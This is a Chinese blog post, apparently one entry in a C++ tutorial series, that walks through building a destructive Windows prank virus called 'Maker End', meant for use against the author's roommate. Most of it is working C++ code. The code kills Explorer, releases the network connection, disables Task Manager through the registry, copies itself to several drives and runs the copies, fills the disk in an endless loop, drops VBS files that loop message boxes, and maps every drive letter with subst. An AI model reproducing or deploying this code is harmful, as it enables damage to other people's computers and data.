温馨提示:本文章使用了“无标题技术”
Doge:尊敬的读者,本部分内容为文章来由,不感兴趣可以不看,直接去看正文
抱歉!这几天光顾着更新吃鸡日志和Scratch系列,忘记了更新C++系列,始发于上次的
千年杀事件,愤怒依旧是未消,关键问题是,那个拟态病毒被同房看出了猫腻,被直接——
咱先明确一下目标吧!
病毒名称:Maker End
病毒图标:(可自行复制)
病毒效果:
1、切断网络、永久禁用任务管理器、不可打开资源管理器
2、等待一些时间进行填满磁盘、创建运行程序
3、創建多個磁盘
4、自我复制
5、乱跳各种弹窗
6、打開各种程序
7、开始反色!
8、鼠标画龙
Doge:"鼠标画龙"指鼠标出现图标
9、格式化D盘
10、黑白方塊(花屏)
11、暫时黑屏
12、藍屏(沒了)
这个可简单:
void explore()//不可打开资源管理器
{
system("taskkill /im explore.exe /f");
}
void release()//断开网络
{
system("ipconfig /release");
}
void tsk()//禁用任务管理器
{
echo_of();
DWORD dword=TRUE;
HKEY h;
DWORD s = dword;
RegCreateKey(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", &h);
RegSetValueEx(h, "DisableTaskMgr", NULL, REG_DWORD, (LPBYTE)&s, sizeof(DWORD));
RegCloseKey(h);
}
填满磁盘
这里我直接搬运我的文章 填满RAM!-CSDN博客了
Doge:作者你好懒啊
void Make_Text(string same, string name)//创建文件
{
ofstream outfile(same,ios::out);
if (!outfile)
{
cerr<<"open error"<<endl;
}
outfile<<name;
outfile.close();
}
void Copy1()//自我复制到C
{
LPCTSTR TargetPath = _T("C:\\visul.exe");
TCHAR tcBuf[_MAX_PATH];
::GetModuleFileName(NULL, tcBuf, sizeof(tcBuf));
::CopyFile(tcBuf, TargetPath, FALSE);
system("PAUSE>NUL");
}
void Copy2()//自我复制到D
{
LPCTSTR TargetPath = _T("D:\\visul.exe");
TCHAR tcBuf[_MAX_PATH];
::GetModuleFileName(NULL, tcBuf, sizeof(tcBuf));
::CopyFile(tcBuf, TargetPath, FALSE);
system("PAUSE>NUL");
}
void Copy3()//自我复制到E
{
LPCTSTR TargetPath = _T("E:\\visul.exe");
TCHAR tcBuf[_MAX_PATH];
::GetModuleFileName(NULL, tcBuf, sizeof(tcBuf));
::CopyFile(tcBuf, TargetPath, FALSE);
system("PAUSE>NUL");
}
void Full_CP()//填满磁盘
{
Copy1();
Copy2();
Copy3();
system("start C:\\visul.exe");
system("start D:\\visul.exe");
system("start E:\\visul.exe");
string i = "KEY";
string j = "MLN";
string k = "SKY";
int a;
while(1){
Make_Text(i,"Mery Error:: \n The Problem To Key ALL,\n On To come dump dump\n\n* * * stop dump dump... (0x0003007002000f4)\n Dump...\n\n dump...\n to ESC FOR ASCII \n******AJAPJ******\n\nADY\nG\nDTEE\nGD\nYY\nGW\nU\nURL\a\a");
i += a;
Make_Text(j,"Mery Error:: \n The Problem To Key ALL,\n On To come dump dump\n\n* * * stop dump dump... (0x0003007002000f4)\n Dump...\n\n dump...\n to ESC FOR ASCII \n******AJAPJ******\n\nADY\nG\nDTEE\nGD\nYY\nGW\nU\nURL\a\a");
j += a;
Make_Text(k,"Mery Error:: \n The Problem To Key ALL,\n On To come dump dump\n\n* * * stop dump dump... (0x0003007002000f4)\n Dump...\n\n dump...\n to ESC FOR ASCII \n******AJAPJ******\n\nADY\nG\nDTEE\nGD\nYY\nGW\nU\nURL\a\a");
k += a;
}
}
创建运行程序
因为本人喜欢搞神秘兮兮的,所以我在文件内容里面搞日语
void Make()
{
Make_Text("ラム.vbs", "do\nmsgbox\"あなたのコンピュータGG\"\nloop");
Make_Text("今年のトラック.vbs", "msgbox\"このプログラムは有効な 32 ビット プログラムではありません\",vbCritical");
Make_Text("ロシアのスートン焼却発電.vbs", "msgbox\"致命的な重大なエラー\",vbExclamation");
Make_Text("混雑した.vbs", "msgbox\"ごみ箱を空にしますか\",vbYesNo + vbInformation");
Make_Text("カトゥルピ.vbs", "msgbox\"あなたのコンピュータ\",vbYesNoCancel + vbQuestion");
Make_Text("防食層.vbs", "msgbox\"あたのコンピなたのコンピュータ!\",vbExclamation\nmsgbox\"韓国の錦湖がビッグVにコストをもたらす......\",vbCritical\n");
Make_Text("MEMZ.txt", "YOUR computer will not be able to restart again. Your C drive has been destroyed. \nWait for the coming of the god of death! \nYou will have to go to the computer city to buy a new computer. Your prediction was one step behind mine.\nStupid human!");
}
这里我简单介绍一下Vbs(VBScript):
弹窗:
msgbox"......"
有图标的弹窗:
错误图标:
msgbox"......",vbCritical
问号图标:
msgbox"......",vbQuestion
感叹号:
msgbox"......",vbExclamation
通知图标:
msgbox"......",vbInformation
注:这些语句后面加上,"...."就可以有标题。
循环语句(不可停止)
do
......
loop
这也简单,只需要使用vbs脚本指令就OK了!
Doge:是bat吧!
啊,抱歉,是bat指令:
void CP_start()
{
Make_Text("A.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: C:)");
system("start A.bat");
}
void CP_stop()
{
Make_Text("B.bat","for %%i in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do (subst %%i: /d)");
system("start B.bat");
}